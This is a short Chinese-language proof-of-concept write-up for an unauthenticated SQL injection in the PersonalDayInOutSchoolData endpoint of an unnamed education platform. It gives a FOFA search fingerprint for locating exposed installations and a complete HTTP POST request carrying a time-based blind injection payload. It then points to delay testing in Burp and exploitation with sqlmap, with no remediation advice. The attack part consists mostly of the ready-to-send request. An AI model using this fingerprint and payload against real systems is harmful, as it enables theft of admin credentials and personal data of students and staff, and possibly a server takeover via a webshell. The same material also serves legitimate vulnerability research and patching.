漏洞描述

EDU 某智慧平台 PersonalDayInOutSchoolData 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

漏洞复现

FOFA

body="custom/blue/uimaker/easyui.css"

POC

POST /ashx/APP/InOutSchoolService.ashx?action=PersonalDayInOutSchoolData&Date=1%27%3BWAITFOR+DELAY+%270%3A0%3A4%27--&AccountNo=1 HTTP/1.1
Host: 
Content-Length: 0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: text/plain, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive

bp延时

sqlmap